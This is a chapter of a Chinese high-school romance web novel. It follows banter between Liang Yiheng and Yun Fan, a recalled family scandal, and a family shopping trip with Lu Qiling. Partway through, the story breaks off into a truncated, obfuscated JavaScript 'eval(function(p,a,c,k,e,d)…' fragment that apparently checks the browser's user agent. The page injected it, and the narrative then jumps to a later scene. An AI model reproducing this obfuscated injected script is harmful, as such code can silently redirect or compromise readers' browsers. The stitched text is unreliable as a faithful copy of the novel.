云繁默了两秒,没忍住说:“兄弟,咱就说你的嘴这么有想法,期灵妹妹跟你住一起到底是怎么交流的。” 梁屹恒闲闲反问:“你俩很熟?” 楼下拐角处拥挤的人不少,跟他们同一节体育课的还有九班和十七班,此刻都堵在入口。 看到这一幕,梁屹恒果断选了另外一边。 上楼梯的时候,他们后面断断续续地跟来几个人。 云繁走在他边上,洋洋得意道:“当然。我比你先认识她,我俩说第一句话那会儿,你还在给外婆监工呢。” 梁屹恒随口答:“既然这样,你不去问她,问我有什么用。” 注意到他的反常,云繁虚虚地眯了下眼睛,神情高深莫测:“小恒同学,你好像有点不对劲啊。” 梁屹恒:“?” 云繁一脸休想骗我的表情,怀疑道:“你是不是对路期灵有什么看法?” 同住檀林大道十多年,云家是去年年底搬走的。几个发小里,云繁虽然最不着调,但多少还算了解梁屹恒。 看得出他对路期灵谈不上漠不关心,也没有很热络。可事实上,不闻不问才是他对待不在意事物的正常态度。 云繁认定另有隐情,目光如炬。 经过二楼楼梯拐角的时候。 梁屹恒下意识回头扫了眼身后,空无一人。 知道云繁向来喜欢打破砂锅问到底,他顿了半秒,敷衍了句:“对她没看法。是她家里想跟我扯上关系。” “……”云繁傻了会儿,“跟你有什么关系好扯的?而且救了你哥,救命之恩这还不够吗?” 梁屹恒一言难尽地瞥向他:“你这个脑子。” 双目交汇,云繁好半天才反应过来,放轻声:“你刚才的意思是,期灵妹妹家里想让你跟她——” 说着,两根大拇指对了对:“这样?” 盯着他贴在一起的指腹,梁屹恒移开视线,没回答问题,反而挑刺地问:“你能换个称呼?” 云繁觉得他屁事真多:“又怎么了?” 梁屹恒情绪很淡,像存心找不痛快:“人家是你妹妹吗?你就一口一个期灵妹妹,叫得可真亲热。” “她比我小好几个月,我不喊妹妹难道喊姐啊?”云繁回怼,“那咱俩一样大,你怎么不叫姐。” “……” 见对方不说话,云繁以为自己摸准了他的心思。顺着继续往下想,弯弯绕绕的思绪逐渐变得清明。 他忽然懂了。 云繁盯着梁屹恒看了半晌,语气古古怪怪:“看不出来你这占有欲还挺强,别人喊一声都不行。” 梁屹恒:“说什么鬼话?” “瞧你这嘴硬的样子。”云繁啧啧两声,脸上写满了“不用多说我都懂”,佯装嫌弃地摇摇头,“行行行,听你的,以后我不这样喊路期灵了。” “……” 梁屹恒无语凝噎了瞬,眼神荒诞。 他静静直视对方,等着看这乐子人还能憋出什么屁。 下一秒。 云繁已经透过现象看本质,自认终于跟上梁屹恒的脑回路,按捺住得意。他清清嗓子,主动安抚:“她是你一个人的妹妹,这下总可以了吧?” 9. 恒星09 “……” 尽管对云繁这样的行为——时常用不灵光的脑子,思考一些浅显易懂的事,还总能独辟蹊径找出另一条离奇思路,梁屹恒已经习以为常。 但现在又多了位更会脑补的路期灵,以前能置之不理的情况,此刻他莫名感到几分烦躁。 “我可真是谢谢你。”梁屹恒冷笑,“少折腾点你崎岖的脑回路。” 云繁晃晃手指:“男人啊,实话总是不爱听的。” 爬上隔壁楼三层,穿过两栋楼之间的连廊,恰好路过水房和厕所。这会儿几个隔间的门都半开,空荡荡的。 梁屹恒走到水池前,打开水龙头洗手。 耳边持续传来云繁的说话声。 “不过她家挺奇葩,那么多关系可以攀,非要在这方面搞小心思。”云繁想到什么,转瞬乐了,“欸梁屹恒,你说你哥当时怎么没同意?” 梁屹恒睨他:“你说呢。” “我想也对。”云繁摸摸下巴,“就你这臭脾气,我要是大哥,也做不出把人女孩儿往火坑推的事。” 梁屹恒懒得理他。 “对了。”云繁好奇,“路期灵知道不?” 梁屹恒没接腔,甩了两下手上的水。 脑海里闪现过这些天以来,路期灵在他面前跳脚的模样。如果真知道,按理来说,应该只有两种结果。 要么避开,要么讨好。 可真实情况却是,她比任何人都伶牙俐齿。 梁屹恒不太想继续谈论这个话题,不耐地啧了一声:“非得提人名字?” “口误口误。”云繁继续唠叨,“不是我说,这算盘打得真好。我要是你,非得跟她家动动筋骨。” 梁屹恒哼笑:“用你这弱鸡武力?” “弱鸡又如何。”云繁满不在意地接受这个事实,转而感叹,“这些人怎么想的啊,竹篮打水一场空。” 梁屹恒垂下眼睑,不置可否。 看他兴致缺缺的表情,不知怎么,云繁突然联想到很久以前,梁家曾发生过的一桩丑闻。 这一瞬间,他到嘴边的话立马说不下去了。 那是梁屹恒母亲去世不到半年的时候。 由于前一任钢琴老师离职,他外公便亲自举荐了亲戚,梁夫人最小的堂妹,来到家里为梁屹恒当家庭教师。 对方温柔又和煦,总会耐心地与他讲话,因此梁屹恒适应得很快。 然而几个月后的某天晚上,新老师被梁驭呈从梁父那间许久未用的书房拎了出去。彼时她只穿了件薄薄的吊带,四肢光裸,跌坐在地毯上满脸惊惧。 丑事被揭穿以后。 外公才坦白,想让她顶替梁夫人的位置。 那年梁屹恒才六岁,面对女性长辈的关怀恰好处于最向往的时刻,对新老师异常亲近与信任。 可是成年人的世界肮脏至极。 在他成长道路上,命运赐予梁屹恒的第一个教训,是失去母亲。接踵而来的第二个,就是错付真心被利用。 一同长大的朋友大多都清楚这件事的内幕,也明白梁屹恒除了嘴毒,是个臭脾气,但其实很少发火。 唯独只是数十年如一日地厌恶被算计。 …… 不知道哪个隔间发出吱呀一声。 梁屹恒正要往出走,听到这动静,他的余光不经意地向后扫了眼。 视线倏地停住。 云繁回过神,瞄他一眼,顺着方向看过去,下意识问了声:“怎么了?” 旋即,就看到从最里面的隔间走出来一个男生。对方个头不算高,板寸,脸上残留着青春痘的坑洼印记。 仿若想恶心他们,男生浮夸做作地抖了抖眉毛,笑得格外辣眼睛。 云繁愣了下,低骂:“靠!冤家路窄。” 盯着男生打量了须臾,梁屹恒云淡风轻地收回眼,迈开脚:“走了。” “这傻逼最近没再去找陈准妹妹吧?”云繁离开前嫌恶地瞪过去一眼,“跟从油锅里刚捞出来的死猪一样,他对象到底怎么看上他的。” 梁屹恒眉心微蹙,在想刚才的对话:“可能死猪也有可取之处。” “简直神经病。”离开厕所门口,云繁才敢放话,“之前那次真是打轻了。再有上学期末那事——” 闻言,梁屹恒敛起思绪。 他稍稍侧目,面色平静地听他继续吹。 云繁浑然不觉地晃了晃拳头:“我一定揍得他给爷爷下跪。” “……” 上次被堵,也不知道是谁吓得腿软。 对此梁屹恒无言以对,只想戳破他的白日梦:“洗洗睡吧。” - 最后一节物理课。 临近下午放学还有十分钟,物理老师讲完剩下的内容,拿起保温杯喝了口水,将分好的试卷递给每组第一排的学生,让他们依次往后传。 教室里顿时响起哗啦啦的翻动声。 “三天假期,你们的作业除了这套卷子,还有练习册模块二。”男老师在过道缓慢踱步,“提前做啊,别到时候来了学校,又急急忙忙抄别人的。” 有人哀嚎:“怎么都发卷子啊!” “那我不布置了让你们回去疯跑?想得美。”物理老师说,“这套题我找了很久,部分例题上学期都给你们讲过,不会做就去翻笔记。听清楚没有?” 又是一阵稀稀拉拉地应答。 路期灵从前排男生的手里接过试卷,拿了两份,把其他的往后送去。 看了看题目,发现的确有一些题目略微超纲,她分给祁年一张,顺嘴问:“年年,你的笔记在吗?” “No!”祁年仔细回想了一番,“期末考完我就不知道扔哪儿了。而且我感觉吧,我的笔记应该不太完整。” 路期灵有些头大:“我还一个字没有呢。” 祁年:“没事,我回去找找,有的话发给你。” 路期灵折叠好试卷,夹在书本里。 “嗯嗯好的呀。” 没过多一会儿。 下课铃响起,平时枯燥无味的铃声在此刻尤为悦耳动听。不久前被繁重作业磨灭的热情又重新燃起,班里的同学叽叽喳喳地说个不停。 走廊外也吵嚷着,空气里洋溢着放假的激情。 路期灵打开提前收拾好的书包,将两本物理书勉强塞进去,拉上拉链。看着被撑得鼓鼓囊囊,已经开始变形的书包,她深吸一口气。 胳膊穿过肩带,重量瞬间压到肩膀上。 离开座位,路期灵拿出手机看了眼。 发现方妤在半个小时前,给她发了两条微信。 方妤:【零零,我们在门口接你。】 方妤:【放学跟小恒一起,今晚在家里吃涮锅,正好去超市逛一逛。】 路期灵飞快回复了消息。 目光偏转,她往后瞅了瞅。 班里的人快走光了,只剩零星几个准备打扫卫生的同学,连带着梁屹恒的位置也空空荡荡的,早已离开。 她挪开眼嘀咕了句:“跑这么快。” 梁屹恒没在教室,路期灵不打算多耽搁时间。想着有人在等,于是加快步子往出走,出了楼梯间,沿着道路越走越快,最后小跑着到了校门口。 外头人很多,她很快锁定一辆眼熟的越野。 梁家去接梁驭呈的时候,方妤开的就是这辆车。 乳白色外身,车型很大。 前面横杠是路期灵并不认识的圆圈标识。 此刻,副驾驶的车窗半降,露出方妤那张英气飒爽的脸,棕青色的卷发在脑后低低挽了个髻,十分随性。 看到人后,她笑容满面地招手。 路期灵也蹦跶着挥了挥胳膊。 穿过马路,她拉开后排车门钻进去。 急促的呼吸还没喘匀,路期灵平复了下,兴致勃勃地问:“大嫂,你是今天回来的吗?什么时候啊?” “两点半落的地。”方妤笑了声,轻拍梁驭呈的手臂,“老公看到没,零零多高兴,我在这个家还是有地位的。不像某人,张嘴就让人生气。” 说到这,她意有所指地瞥了瞥后视镜。 车子缓缓发动。 梁驭呈脸上始终带着笑,反扣住方妤的指尖:“别搭理他。” 迟来一步的路期灵有些懵:“怎么了?” “借机谴责某人而已。”方妤故作伤心,“我才刚回来,就想撵我走呢。” “……” 听到这话,路期灵往边上偏了下头。 这才看到她的左手边,隔着一个位置的地方,梁屹恒懒洋洋地靠在窗户上。身姿懒散,眼睫垂落的模样格外乖顺,脑袋抵着玻璃,低头玩手机。 他对方妤的控诉好似充耳未闻,眼皮都没抬一下。 但偏偏车上有个老婆奴。 知道方妤在开玩笑,梁驭呈依旧偏心,帮着她装腔作势道:“你嫂子跟你说话呢,又假装听不见。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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所以保温杯里总会泡一些类似金银花、大枣或者枸杞的小东西。她随手拿起一包,确认日期。 不知看了几分钟。 这条通道的另一边突然传来购物车的滚轮声。 以及往筐里丢东西的声音。 路期灵检查得认真,以为对方是过路人,低着头,靠近货架挪了挪步子。她挑了包果茶,继续看配料表。 然而过了好一阵,噪声依旧停留在身侧,她倏然发现,那人貌似并没离开。 仿佛是故意制造出的动静。 一包接着一包,窸窸窣窣响个不停。 这架势与其说购物,更像在对货架进行大扫除。 中秋将至,超市播放着喜庆的音乐,女高音激昂嘹亮,期间时不时混入半价区促销活动的宣传,聒噪又刺耳。 旁边零食袋的摩擦声此起彼伏,路期灵郁闷抿唇。 她莫名其妙地侧目看过去。 下一秒。 路期灵眼神霎时定格。 因为来人她认识,正是梁屹恒。 他不知道什么时候跟了过来,单手撑在把手上,扶着购物车站在旁边,长身鹤立,清瘦落拓。面前的铁筐里塞得满满当当,装着各式各样的零食。 路期灵脱口而出:“零食当饭吃啊。” 梁屹恒盯着她手里的包装袋,看了几秒,随口解释:“以为你来买零食,你嫂子让给你买的。” “……”路期灵呆了几秒,“这么多?” 梁屹恒漫不经心地嗯了一声。 见状,路期灵想拒绝的冲动在嘴边打转,但考虑到是大嫂的心意,又努力委婉:“我一个人吃不了的。” 梁屹恒直白表示:“去跟你大嫂说。” “……” 路期灵沉默半晌。 看出梁屹恒不达目的不罢休的态度,她的目光在零食与他脸上来回游移,最终选择妥协,客套地道了谢。 转过身,路期灵在货架上拿了几包东西,余光觑了觑,嘀咕:“但大嫂应该没让你拿我当饭桶养吧。” 不料这话被梁屹恒听见。 他像是忽然来了兴致,黑眸直勾勾地落在她身上,眉梢轻扬,拖着调子接腔:“你要这么说——” 顿了顿,梁屹恒弯了下唇:“也不是不行。”